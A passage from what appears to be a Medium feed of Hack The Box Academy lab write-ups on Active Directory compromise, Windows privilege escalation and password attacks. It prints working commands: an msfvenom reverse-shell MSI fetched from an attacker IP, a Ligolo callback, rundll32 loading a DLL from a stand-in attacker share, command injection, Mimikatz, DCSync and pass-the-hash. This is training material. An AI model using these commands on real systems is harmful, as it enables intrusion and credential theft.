C:\security.save</pre><p>…and ran them through Impacket’s secretsdump.py locally:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UyRrb5c2DCvE2GNUcolpMA.png" /><figcaption><strong>Figure 4 — Impacket’s </strong><strong>secretsdump.py extracting local account hashes, cached domain logons, and LSA secrets from the exported registry hives.</strong></figcaption></figure><pre>secretsdump.py -sam sam.save -security security.save -system system.save LOCAL</pre><p>This surfaced local account hashes, a cached domain logon (DCC2) hash for the domain Administrator, and LSA secrets. Nothing immediately crackable, but useful context, and a good habit to build early in an assessment.</p><p>To reach the internal 172.16.6.0/16 range from my attack box, I set up a <strong>Ligolo-ng</strong> tunnel: uploaded the agent binary through the web shell, connected it back to my listener, and added a route through the resulting tunnel interface.</p><blockquote><strong><em>Since Ligolo-ng itself isn’t really explained in detail in the module, I wrote a separate practical guide for anyone who wants to understand it better.</em></strong></blockquote><p>With the tunnel live, a simple for loop ping sweep from the web shell found two live internal hosts:</p><pre>for /L %i in (1,1,254) do @ping -n 1 -w 100 172.16.6.%i | find &quot;Reply&quot;</pre><pre>Reply from 172.16.6.3<br>Reply from 172.16.6.50</pre><p>Resolve-DnsName identified them:</p><ul><li>172.16.6.3 → <strong>DC01</strong></li><li>172.16.6.50 → <strong>MS01</strong></li></ul><h3>Step 3 — Kerberoasting</h3><p>With a foothold on the internal segment, I uploaded <strong>Rubeus</strong> through the web shell and staged it inside system32\inetsrv before running it. A quick stats check confirmed there were kerberoastable targets to go after:</p><pre>.\Rubeus.exe kerberoast /stats</pre><pre>Total kerberoastable users : 7<br>Supported Encryption Type: RC4_HMAC_DEFAULT (all 7)</pre><blockquote><em>All seven service accounts supported RC4-HMAC. Their TGS responses could therefore be subjected to offline password cracking, with RC4 generally making dictionary attacks significantly more practical than AES-based Kerberos hashes.</em></blockquote><p>I requested tickets for all of them:</p><pre>.\Rubeus.exe kerberoast /nowrap</pre><p>Among the results was the account tied to the SPN specified in the assessment scope:</p><pre>SamAccountName       : svc_sql<br>ServicePrincipalName : MSSQLSvc/SQL01.inlanefreight.local:1433</pre><p><strong>Kerberoastable account:</strong> svc_sql</p><h3>Step 4 — Cracking the Hash</h3><p>I fed the extracted TGS-REP hash to hashcat against rockyou.txt:</p><pre>hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt</pre><blockquote><em>Hashcat recovered the password almost immediately because it was present in the </em><em>rockyou.txt wordlist.</em></blockquote><pre>$krb5tgs$23$*svc_sql$INLANEFREIGHT.LOCAL$MSSQLSvc/SQL01...:*****7</pre><p><strong>Cracked password:</strong> *****7</p><p>A weak, dictionary-guessable password on a service account is one of the classic AD misconfigurations this assessment was designed to surface.</p><h3>Step 5 — Lateral Movement to MS01</h3><blockquote><em>Using the recovered credentials and the Ligolo-ng route, I established an RDP session to MS01 through the pivot.</em></blockquote><pre>xfreerdp3 /u:svc_sql /p:*****7 /v:172.16.6.50</pre><blockquote><em>The session suggested that </em><em>svc_sql might hold elevated rights on MS01. I confirmed the account’s effective privileges before proceeding.</em></blockquote><p>Flag #2 — MS01 (Administrator Desktop)</p><pre>PS C:\Users\Administrator\Desktop&gt; cat .\flag.txt<br>spn$_r0ast1ng_***************</pre><h3>Step 6 — Credential Harvesting with Mimikatz</h3><p>Since svc_sql had admin rights on MS01, I ran Mimikatz to pull credentials out of memory:</p><pre>mimikatz # sekurlsa::logonpasswords</pre><blockquote><em>Among the cached logon sessions, Mimikatz exposed cleartext credentials for another domain user.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*Sgh8F6D1jcNQ5yMl_R1rnw.png" /><figcaption><strong>Figure 5 — Mimikatz output revealing cleartext credentials for the logged-on domain user </strong><strong>tpetty from LSASS memory on MS01.</strong></figcaption></figure><pre>User Name : tpetty<br>Domain    : INLANEFREIGHT<br>Password  : Sup3r****************</pre><p><strong>Username:</strong> tpetty <strong>Cleartext password:</strong> Sup3r****************</p><p>This is a good reminder of why interactive/RDP logons from privileged or interesting accounts on shared boxes are risky — any credential that touches LSASS on a compromised host is potentially recoverable.</p><h3>Step 7 — Discovering tpetty’s Excessive Rights</h3><p>Rather than assume tpetty was just another user, I checked what permissions the account actually held in the domain using PowerView:</p><pre>Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*t29LikY6X-Pub5cDFO8rfw.png" /><figcaption><strong>Figure 6 — PowerView ACL enumeration showing that </strong><strong>tpetty holds Active Directory replication rights on the domain root, making the account DCSync-capable.</strong></figcaption></figure><p>The output showed tpetty holds three extended rights directly on the domain root object (DC=INLANEFREIGHT,DC=LOCAL):</p><pre>ObjectAceType : DS-Replication-Get-Changes<br>ObjectAceType : DS-Replication-Get-Changes-All<br>ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set</pre><p>The account held both core replication rights commonly required for DCSync — DS-Replication-Get-Changes and DS-Replication-Get-Changes-All—as well as DS-Replication-Get-Changes-In-Filtered-Set — impersonating a domain controller to request replication data (including password hashes) without ever touching a DC interactively. This was almost certainly a misconfigured delegation left over from some legitimate replication/sync tooling.</p><p><strong>Attack </strong><strong>tpetty can perform:</strong> DCSync</p><h3>Step 8 — DCSync: Extracting the Domain</h3><p>With tpetty&#39;s credentials and the confirmed replication rights, I ran Impacket&#39;s secretsdump.py in DCSync mode straight against DC01:</p><pre>secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/tpetty@172.16.6.3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*-s9JYaBUQ4PNBt2BuXu1RQ.png" /><figcaption><strong>Figure 7 — Impacket’s </strong><strong>secretsdump.py performing a DCSync attack against DC01 and extracting domain account NTLM hashes from Active Directory.</strong></figcaption></figure><p>This dumped the entire NTDS.DIT via the DRSUAPI method — every account hash in the domain, including krbtgt and:</p><pre>Administrator:500:aad3b435b51404eeaad3b435b51404ee:********************************:::</pre><p>At this point the domain is effectively compromised — the Administrator’s NT hash can be used directly (pass-the-hash) or used to forge Golden Tickets.</p><h3>Step 9 — Domain Compromise: Pass-the-Hash to DC01</h3><p>Using the recovered Administrator hash, I authenticated directly against DC01 with Impacket’s psexec:</p><pre>impacket-psexec administrator@172.16.6.3 -hashes :********************************</pre><p>This dropped a SYSTEM shell on the domain controller itself:</p><pre>C:\Windows\system32&gt; hostname<br>DC01<br>C:\Windows\system32&gt; whoami<br>nt authority\system</pre><h4>Final Flag — DC01 (Administrator Desktop)</h4><pre>C:\Windows\system32&gt; type c:\users\administrator\Desktop\flag.txt<br>r3pli**************</pre><h3>Attack Path Summary</h3><pre>Exposed file upload → web shell (SYSTEM on WEB-WIN01)<br>        ↓<br>Dual-homed host → pivot into 172.16.6.0/16 (Ligolo-ng)<br>        ↓<br>Kerberoasting → svc_sql (SPN: MSSQLSvc/SQL01...) → cracked: *****7<br>        ↓<br>RDP to MS01 as svc_sql (local admin)<br>        ↓<br>Mimikatz on MS01 → cleartext creds for tpetty<br>        ↓<br>tpetty has DS-Replication-Get-Changes[-All] on domain root<br>        ↓<br>DCSync → dump entire NTDS.DIT (incl. Administrator hash)<br>        ↓<br>Pass-the-hash → SYSTEM on DC01 → Domain Compromised</pre><h3>Key Takeaways</h3><ul><li><strong>Web shells left behind by testers are still live footholds</strong> — and if the app pool runs as SYSTEM, a single upload vulnerability becomes full host compromise instantly.</li><li><strong>Dual-homed servers are pivot points.</strong> Any externally-facing box with a leg in the internal network deserves special scrutiny — it’s often the only bridge between “internet” and “domain.”</li><li><strong>Kerberoasting remains devastatingly effective</strong> against service accounts with weak passwords and RC4 support. *****7 cracked in under a second.</li><li><strong>Interactive logons leak credentials.</strong> Any account that logs into a box interactively (RDP, console) risks having its credentials harvested from LSASS by anyone with admin on that host.</li><li><strong>Excessive AD replication rights are a silent privilege escalation path.</strong> DS-Replication-Get-Changes / -All granted to a standard-looking user account is functionally equivalent to Domain Admin — always check ACLs on the domain object itself, not just OUs and groups.</li></ul><p><em>This was Part I of the HTB Academy “Active Directory Enumeration &amp; Attacks” Skills Assessment. Part II picks up from here — stay tuned.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=063ea8bd7c67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation Skills Assessment — Part || (HTB Academy)]]></title>
            <link>https://medium.com/@moustafaabdelmaksoud/from-misconfiguration-to-system-windows-privilege-escalation-in-a-real-enterprise-scenario-htb-b955e96a1d27?source=rss-e875d1a0a18b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b955e96a1d27</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Moustafa Abdelmaksoud]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 23:13:05 GMT</pubDate>
            <atom:updated>2026-03-27T18:02:32.880Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows Privilege Escalation Skills Assessment — Part || (HTB Academy)</h3><p>How a single misconfigured registry key and forgotten credentials led to full SYSTEM compromise on a corporate Windows 10 workstation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*4LS6PvshKxiTLEeW.png" /></figure><h3>Introduction</h3><p>I did not exploit a vulnerability.<br>I did not use a zero-day.</p><p>I gained SYSTEM access using only misconfigurations and exposed credentials.</p><p>In this walkthrough, based on a Hack The Box Academy skill assessment, I demonstrate how insecure baseline configurations in a Windows 10 gold image can allow a standard user to escalate privileges and fully compromise a system.</p><h3>About This Lab</h3><p>This scenario simulates a real-world enterprise environment:</p><ul><li>Windows 10 workstation (gold image)</li><li>Standard user access via RDP</li><li>No internet access (tools must be transferred manually)</li><li>Microsoft Defender disabled</li><li>Objective: privilege escalation to SYSTEM</li></ul><p>The goal is to determine whether a low-privileged user can escalate privileges and compromise the system.</p><h3>Initial Enumeration</h3><p>After logging in as a standard user (htb-student), the first step was enumeration.</p><p>I transferred and executed PowerUp:</p><pre>Import-Module .\PowerUp.ps1<br>Invoke-AllChecks</pre><h3>Critical Findings</h3><h4>AlwaysInstallElevated Enabled</h4><p>The following registry keys were checked:</p><pre>reg query HKCU\Software\Policies\Microsoft\Windows\Installer<br>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer</pre><p>Both returned:</p><pre>AlwaysInstallElevated    REG_DWORD    0x1</pre><p>This is a critical misconfiguration. It allows any user to install MSI packages with SYSTEM privileges.</p><h4>Unattended Installation File (Credential Exposure)</h4><p>A sensitive file was discovered:</p><pre>C:\Windows\Panther\Unattend.xml</pre><p>Inside the file:</p><pre>&lt;Username&gt;INLANEFREIGHT\iamtheadministrator&lt;/Username&gt;<br>&lt;Password&gt;<br>    &lt;Value&gt;Inl@n3fr3ight_***********&lt;/Value&gt;<br>    &lt;PlainText&gt;true&lt;/PlainText&gt;<br>&lt;/Password&gt;</pre><p>This exposed cleartext domain administrator credentials, indicating insecure deployment practices.</p><h3>Privilege Escalation via AlwaysInstallElevated</h3><p>Since elevated MSI execution was allowed, a malicious MSI payload was generated and transferred to the target.</p><h4>Creating the Malicious MSI Payload</h4><p>On the attacker machine, a payload was generated using msfvenom to execute a reverse shell:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.118 LPORT=9443 -f msi -o aie.msi</pre><h4>Transfer Payload</h4><pre>wget http://10.10.14.118:8000/aie.msi -OutFile aie.msi -UseBasicParsing</pre><h4>Execute MSI</h4><pre>msiexec /i aie.msi /quiet /qn /norestart</pre><h3>Result: SYSTEM Access</h3><p>After execution, a reverse shell was obtained with SYSTEM privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*jPjjaptCnCJm9RDefUJSBg.png" /></figure><h3>Capturing the Flag</h3><p>Navigating to the Administrator desktop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*oKmTilEdKrTiulhdAbd_Hw.png" /></figure><p>Output:</p><pre>el3vatEd_1nstall************</pre><h3>Post-Exploitation: Credential Dumping</h3><p>With SYSTEM access, Mimikatz was transferred and executed:</p><pre>mimikatz.exe<br>privilege::debug<br>lsadump::sam</pre><h3>Disabled Administrator Account Identified</h3><p>A local administrator account was discovered:</p><pre>User: wksadmin<br>NTLM: 5835048ce94ad0564e29a924a03510ef</pre><p>This account was disabled but still posed a risk due to credential reuse potential.</p><h3>Offline Password Cracking</h3><p>The NTLM hash was cracked using Hashcat:</p><pre>hashcat -m 1000 hash /usr/share/wordlists/rockyou.txt</pre><p>Result:</p><pre>5835048ce94ad0564e29a924a03510ef:password1</pre><p>This demonstrates the continued risk of weak passwords, even on disabled accounts.</p><h3>Full Attack Path</h3><pre>Standard User Access (RDP)<br>        ↓<br>Enumeration (PowerUp)<br>        ↓<br>AlwaysInstallElevated identified<br>        ↓<br>Unattend.xml → cleartext domain admin credentials<br>        ↓<br>MSI execution → SYSTEM shell<br>        ↓<br>Administrator Desktop → flag<br>        ↓<br>Mimikatz → SAM dump<br>        ↓<br>Disabled admin account discovered<br>        ↓<br>Hash cracked → password1</pre><h3>Defensive Takeaways</h3><h4>Disable AlwaysInstallElevated</h4><p>This setting should never be enabled in production environments.</p><h4>Remove Credentials from Deployment Files</h4><p>Unattended installation files should never contain plaintext passwords.</p><h4>Audit Local Accounts</h4><p>Remove unused accounts and enforce strong password policies.</p><h4>Enforce Least Privilege</h4><p>Limit unnecessary privilege escalation paths and monitor system changes.</p><h3>Final Thoughts</h3><p>At no point in this attack was a software vulnerability exploited. The compromise was achieved entirely through configuration weaknesses and credential exposure.</p><p>The most significant risks in enterprise environments are often not technical flaws, but operational oversights in how systems are configured and credentials are managed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b955e96a1d27" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Password Attacks — Skill Assessment (HTB Academy)]]></title>
            <link>https://medium.com/@moustafaabdelmaksoud/password-attacks-skill-assessment-htb-academy-39b1f52e9010?source=rss-e875d1a0a18b------2</link>
            <guid isPermaLink="false">https://medium.com/p/39b1f52e9010</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Moustafa Abdelmaksoud]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 15:36:11 GMT</pubDate>
            <atom:updated>2026-04-17T17:49:22.239Z</atom:updated>
            <content:encoded><![CDATA[<p>How a single reused credential led to full domain takeover — a hands-on walkthrough from HTB Academy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*T5SSAiSuv1ZcqiSK.png" /></figure><p>I didn’t exploit a vulnerability. <br>I didn’t use a single zero-day.</p><p>I compromised an entire Active Directory domain using only passwords.</p><p>In this walkthrough, based on a <strong>Hack The Box Academy skill assessment</strong>, I demonstrate how a single exposed credential can be leveraged to move from an external foothold to <strong>complete Active Directory compromise</strong> — including extraction of the <strong>KRBTGT hash</strong>, enabling full domain persistence.</p><h3>About This Lab</h3><p>This scenario comes from <strong>HTB Academy</strong>, designed to simulate a realistic enterprise environment with:</p><ul><li>a DMZ host</li><li>internal network segmentation</li><li>multiple user accounts</li><li>credential exposure points</li><li>an Active Directory domain</li></ul><p>The objective:<br>➡️ move from initial access to <strong>Domain Controller compromise</strong></p><h3>Initial Access — Username Enumeration &amp; Password Spraying</h3><p>The attack began with a publicly known employee name:</p><pre>Betty Jayde</pre><p>Using this information, a username list was generated with:</p><pre>namebuster &quot;Betty Jayde&quot; &gt; username.txt</pre><p>This produced potential usernames based on common corporate naming conventions.</p><h3>Password Spraying with Hydra</h3><p>With a list of possible usernames, a password spraying attack was performed against the SSH service:</p><pre>hydra -L username.txt -p &#39;Texas123!@#&#39; 10.129.234.116 ssh</pre><h3>Result</h3><pre>[22][ssh] host: 10.129.234.116 login: jbetty password: Texas123!@#</pre><p>A valid credential was discovered:</p><pre>Username: jbetty<br>Password: Texas123!@#</pre><h3>Gaining Initial Foothold</h3><p>Using the discovered credentials, SSH access to the DMZ host was obtained:</p><pre>sshpass -p &#39;Texas123!@#&#39; ssh jbetty@10.129.234.116</pre><p>This marked the first successful foothold inside the environment.</p><h3>Pivoting into the Internal Network with Ligolo-ng</h3><p>After gaining SSH access to the DMZ host (DMZ01) as jbetty, the next objective was to access the internal network:</p><pre>172.16.119.0/24</pre><p>Since this network was not directly reachable from the attacker machine, a tunnel was required.</p><h3>Setting Up the Ligolo Interface (Attacker Machine)</h3><p>First, a TUN interface was created on the attacker machine:</p><pre>sudo ip tuntap add user &lt;attacker_username&gt; mode tun ligolo<br>sudo ip link set ligolo up</pre><p>This interface acts as a virtual network device that will route traffic through the tunnel.</p><h3>Starting the Ligolo Proxy</h3><p>The Ligolo proxy was started on the attacker machine:</p><pre>sudo ./proxy -selfcert</pre><h3>Output</h3><pre>Listening on 0.0.0.0:11601</pre><p>This opened a listener for incoming agent connections.</p><h3>Transferring the Ligolo Agent to the Target</h3><p>From the compromised DMZ host, the Ligolo agent was downloaded:</p><pre>wget http://10.10.14.118:8000/agent</pre><p>After downloading, execution permissions were added:</p><pre>chmod +x agent</pre><h3>Establishing the Tunnel</h3><p>The agent was executed to connect back to the attacker:</p><pre>./agent -connect 10.10.14.118:11601 -ignore-cert</pre><h3>Result</h3><pre>Connection established addr=&quot;10.10.14.118:11601&quot;</pre><p>This created a reverse tunnel between the DMZ host and the attacker machine.</p><h3>Routing Internal Traffic</h3><p>With the tunnel established, a route was added on the attacker machine:</p><pre>sudo ip route add 172.16.119.0/24 dev ligolo</pre><p>This ensured that all traffic destined for the internal network would pass through the tunnel.</p><h3>Activating the Tunnel</h3><p>Inside the Ligolo proxy interface:</p><pre>[Agent : jbetty@DMZ01] » start</pre><p>This activated the tunnel, enabling full network access.</p><blockquote><strong><em>Since Ligolo-ng itself isn’t really explained in detail in the module, I wrote a separate practical guide for anyone who wants to understand it better.</em></strong></blockquote><h3>Result — Internal Network Access</h3><p>At this point, the attacker gained direct access to internal systems:</p><ul><li>JUMP01</li><li>FILE01</li><li>DC01</li></ul><p>All traffic to the internal subnet was transparently routed through the compromised host.</p><h3>Credential Discovery — Shell History</h3><p>During enumeration, credentials were discovered in shell history:</p><pre>history | grep -iE &quot;mysql|psql|ssh|password|conn&quot;</pre><p>Result:</p><pre>sshpass -p &quot;dealer-scr*********&quot; ssh hwilliam@file01</pre><p>This is a classic example of poor operational security (OPSEC).</p><h3>Lateral Movement — RDP Access</h3><p>Using discovered credentials, RDP access to an internal system was achieved:</p><pre>xfreerdp3 /u:hwilliam /p:&#39;dealer-scr*********&#39; /v:172.16.119.7</pre><p>This provided a more privileged foothold inside the internal network.</p><h3>Sensitive Data Exposure — HR Archive</h3><p>From the internal host, access to file shares revealed:</p><pre>Employee-Passwords_OLD.psafe3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*D2cD19U5Il9orSaS4CNRdw.png" /></figure><p>A password vault containing employee credentials.</p><h3>Cracking the Vault</h3><p>The vault was converted and cracked using John:</p><pre>pwsafe2john Employee-Passwords_OLD.psafe3 &gt; pwhash.txt<br>john --format=pwsafe --wordlist=/usr/share/wordlists/rockyou.txt pwhash.txt</pre><p>Recovered credentials:</p><pre>jbetty   : xiao-nicer-wheels5<br>bdavid   : caramel-cig**********<br>stom     : fails-nibble-disturb4<br>hwilliam : warned-wobble-occur8</pre><p>This demonstrates how <strong>archived credentials can become a major security risk</strong>.</p><h3>RDP Access as bdavid</h3><p>After cracking the Password Safe vault, valid credentials for multiple users were recovered. One of the most valuable accounts was:</p><pre>bdavid : caramel-cig**********</pre><p>Using these credentials, Remote Desktop access was established to an internal host:</p><pre>xfreerdp3 /v:172.16.119.7 /u:bdavid /p:&#39;caramel-cig**********&#39;</pre><p>This provided interactive access to the system <strong>JUMP01</strong>.</p><h3>Enumerating Privileges</h3><p>Once logged in, privilege enumeration was performed:</p><pre>whoami /priv</pre><h3>Key Findings</h3><pre>SeDebugPrivilege          Enabled<br>SeImpersonatePrivilege    Enabled</pre><h3>Group Membership</h3><p>Further enumeration revealed group membership:</p><pre>whoami /groups</pre><h3>Important Result</h3><pre>BUILTIN\Administrators</pre><p>This confirmed that bdavid had <strong>local administrator privileges</strong> on the host.</p><h3>Transition to Credential Dumping</h3><p>With these privileges, tools like <strong>Mimikatz</strong> can be used to:</p><ul><li>access LSASS memory</li><li>extract credentials</li><li>recover hashes and cleartext passwords</li></ul><p>This is exactly what enabled the next step in the attack chain: <strong>credential dumping and further lateral movement</strong>.</p><h3>Credential Dumping — Mimikatz</h3><p>With elevated privileges, Mimikatz was used:</p><pre>privilege::debug<br>token::elevate<br>sekurlsa::logonpasswords</pre><p>This revealed a critical cleartext password:</p><pre>stom : calves-**rp-****ni***</pre><h3>Domain Controller Access</h3><p>Using the recovered password:</p><pre>xfreerdp3 /u:stom /p:&#39;calves-**rp-****ni***&#39; /v:172.16.119.11</pre><p>Access to the <strong>Domain Controller</strong> was achieved.</p><p>I found that stom had <strong>local administrator privileges</strong> on the DC.</p><blockquote><em>Don’t forget to run PowerShell as administrator.</em></blockquote><h3>Dumping Active Directory (NTDS.dit)</h3><p>After obtaining <strong>SYSTEM-level access on the domain controller</strong>, the next objective was to extract the Active Directory database.</p><p>The AD database is stored in:</p><pre>C:\Windows\NTDS\NTDS.dit</pre><p>However, this file is locked by the system, so it cannot be copied directly.</p><h3>Creating a Volume Shadow Copy</h3><p>To bypass file locks, a shadow copy of the disk was created:</p><pre>vssadmin create shadow /for=C:</pre><p>This creates a snapshot of the filesystem that allows access to otherwise locked files.</p><h3>Extracting NTDS.dit</h3><p>Using the shadow copy path, the database was copied:</p><pre>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\NTDS\NTDS.dit</pre><h3>Dumping the SYSTEM Hive</h3><p>In addition to NTDS.dit, the <strong>SYSTEM registry hive</strong> must also be extracted:</p><pre>reg.exe save hklm\system C:\NTDS\SYSTEM</pre><h3>Why the SYSTEM Hive Is Required</h3><p>The SYSTEM hive contains the <strong>Boot Key</strong>, which is used to encrypt credentials inside NTDS.dit.</p><p>Without this file:</p><ul><li>password hashes cannot be decrypted</li><li>the database is effectively unusable</li></ul><p>Together, these two files enable offline credential extraction:</p><pre>NTDS.dit  → contains encrypted credentials  <br>SYSTEM    → contains decryption key (BootKey)</pre><h3>Key Takeaway</h3><blockquote><em>Dumping NTDS.dit without the SYSTEM hive is useless — both are required to fully compromise Active Directory.</em></blockquote><h3>Full Domain Credential Dump</h3><p>Using Impacket:</p><pre>impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL</pre><p>Key results:</p><pre>Administrator : 36e09e1e6ade94d63***************<br>krbtgt       : 11dee8f685882eb4f78a450291569bd0</pre><h3>The Critical Finding — KRBTGT</h3><p>Compromising the <strong>KRBTGT account</strong> allows:</p><ul><li>Golden Ticket creation</li><li>authentication as any user</li><li>persistent domain access</li></ul><p>At this point, the domain is fully compromised.</p><h3>Attack Path Overview</h3><pre>OSINT (Betty Jayde)<br>        ↓<br>Username generation (namebuster)<br>        ↓<br>Password spraying (Hydra)<br>        ↓<br>SSH access (DMZ01)<br>        ↓<br>Ligolo pivot<br>        ↓<br>Credential discovery (.bash_history)<br>        ↓<br>RDP (hwilliam)<br>        ↓<br>Password vault cracked<br>        ↓<br>RDP (bdavid)<br>        ↓<br>Privilege escalation (SeImpersonate)<br>        ↓<br>Mimikatz → stom creds<br>        ↓<br>RDP (DC01)<br>        ↓<br>NTDS + SYSTEM dump<br>        ↓<br>KRBTGT → Full domain compromise</pre><blockquote><strong>Final Thoughts</strong><br>This wasn’t a vulnerability — it was trust, misconfiguration, and weak credentials. <br>🔐 Small misconfigurations can lead to massive compromises — always think like an attacker.<br>If you found this useful, drop a clap 👏 and follow me for more real-world attack techniques and HTB write-ups.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39b1f52e9010" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation Skills Assessment — Part I Walkthrough]]></title>
            <link>https://medium.com/@moustafaabdelmaksoud/windows-privilege-escalation-skills-assessment-part-i-walkthrough-30f498e444e7?source=rss-e875d1a0a18b------2</link>
            <guid isPermaLink="false">https://medium.com/p/30f498e444e7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Moustafa Abdelmaksoud]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 14:56:50 GMT</pubDate>
            <atom:updated>2026-03-16T15:06:38.638Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practical walkthrough of exploiting command injection and abusing SeImpersonatePrivilege to escalate access to NT AUTHORITY\SYSTEM on a Windows Server.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*t0jhZbCs9tbQTDBx.png" /><figcaption>Windows privilege escalation techniques can allow attackers to move from a low-privileged account to SYSTEM-level access.</figcaption></figure><h3>Introduction</h3><p>During a penetration test against <strong>INLANEFREIGHT</strong>, we encountered a standalone Windows Server host vulnerable to <strong>command injection</strong> in a web application. The objective of the assessment was to:</p><ul><li>Enumerate the host</li><li>Exploit the command injection vulnerability</li><li>Obtain a shell on the system</li><li>Escalate privileges to <strong>NT AUTHORITY\SYSTEM</strong></li><li>Locate sensitive files and credentials on the host</li></ul><p>This walkthrough demonstrates the full attack chain from <strong>initial enumeration to SYSTEM access and credential discovery</strong>.</p><h3>1. Initial Enumeration</h3><p>The first step in the engagement was to identify accessible services on the target host.</p><p>A full TCP port scan was performed using <strong>Nmap</strong>.</p><pre>nmap -p- --min-rate=10000 -Pn 10.129.225.46</pre><h3>Results</h3><pre>PORT     STATE SERVICE<br>80/tcp   open  http<br>3389/tcp open  ms-wbt-server</pre><p>Two services were exposed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*Bff5Pj7rGSeb9whdq7ilvw.png" /></figure><p>Since the web server was publicly accessible, it became the <strong>primary attack surface</strong>.</p><h3>2. Discovering Command Injection</h3><p>While interacting with the web application, a <strong>Ping utility</strong> was discovered that allowed users to enter an IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*408v1H37NQFhQQZUuDtNxw.png" /></figure><p>Input fields that execute system commands are often vulnerable to <strong>command injection</strong>, so the following payload was tested:</p><pre>10.129.14.197 &amp;&amp; whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tA9-lX3ZGjwq6JQHQe-Y3Q.png" /></figure><h3>Response</h3><pre>iis apppool\defaultapppool</pre><p>The server executed both commands, confirming that <strong>arbitrary system commands could be injected and executed on the host</strong>.</p><p>The process was running as:</p><pre>iis apppool\defaultapppool</pre><p>This indicates the application was running inside an <strong>IIS application pool</strong>, which typically has limited privileges but can often be abused for privilege escalation.</p><h3>3. Obtaining a Shell</h3><p>After confirming command execution, the next step was to obtain <strong>interactive access</strong> to the target system.</p><p>The <strong>Metasploit SMB Delivery module</strong> was used to deliver a Meterpreter payload.</p><h3>Metasploit Module</h3><pre>exploit/windows/smb/smb_delivery</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWeB7HppxNwBCCwXjssulg.png" /></figure><p><strong>Note:</strong> Before running the exploit, make sure to update the SRVHOST and LHOST values to your <strong>attacker machine&#39;s IP address</strong>. These settings tell Metasploit where to host the payload and where the reverse connection should return.</p><p>Example:</p><pre>set SRVHOST &lt;ATTACKER_IP&gt;<br>set LHOST &lt;ATTACKER_IP&gt;</pre><p>The module generated a command that forces the target to retrieve a malicious DLL from an SMB share:</p><pre>rundll32.exe \\ATTACKER_IP\share\payload.dll,0</pre><p>This command was injected into the vulnerable input field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1wJIjLnUKVh_1C7nBi3pg.png" /></figure><p>Once executed, the target connected back to the attacker and a <strong>Meterpreter session was established</strong>.</p><h3>4. System Enumeration</h3><p>With shell access established, the next step was to gather information about the system.</p><pre>systeminfo</pre><h3>Key Findings</h3><pre>OS Name: Microsoft Windows Server 2016 Standard<br>OS Version: 10.0.14393<br>Domain: WORKGROUP</pre><p>The host was a <strong>standalone Windows Server 2016 machine</strong> and was not joined to a domain.</p><h3>5. Privilege Enumeration</h3><p>To identify potential privilege escalation paths, the privileges of the compromised account were inspected.</p><pre>whoami /priv</pre><h3>Important Discovery</h3><pre>SeImpersonatePrivilege Enabled</pre><p>The <strong>SeImpersonatePrivilege</strong> privilege allows a process to impersonate another user after authentication.</p><p>This privilege is commonly abused using token impersonation attacks such as:</p><ul><li>JuicyPotato</li><li>RoguePotato</li><li>PrintSpoofer</li></ul><h3>6. Preparing for Privilege Escalation</h3><p>To exploit this privilege, the <strong>JuicyPotato</strong> tool was uploaded to the target host.</p><p>JuicyPotato requires a <strong>COM service running as SYSTEM</strong>.</p><p>To identify a suitable COM object, the registry was searched:</p><pre>reg query HKCR\CLSID /s /f LocalService</pre><h3>Result</h3><pre>{C49E32C6-BC8B-11d2-85D4-00105A1F8304}<br>LocalService: winmgmt</pre><p>The <strong>WMI service</strong> was identified as a valid target for token impersonation.</p><h3>7. Privilege Escalation with 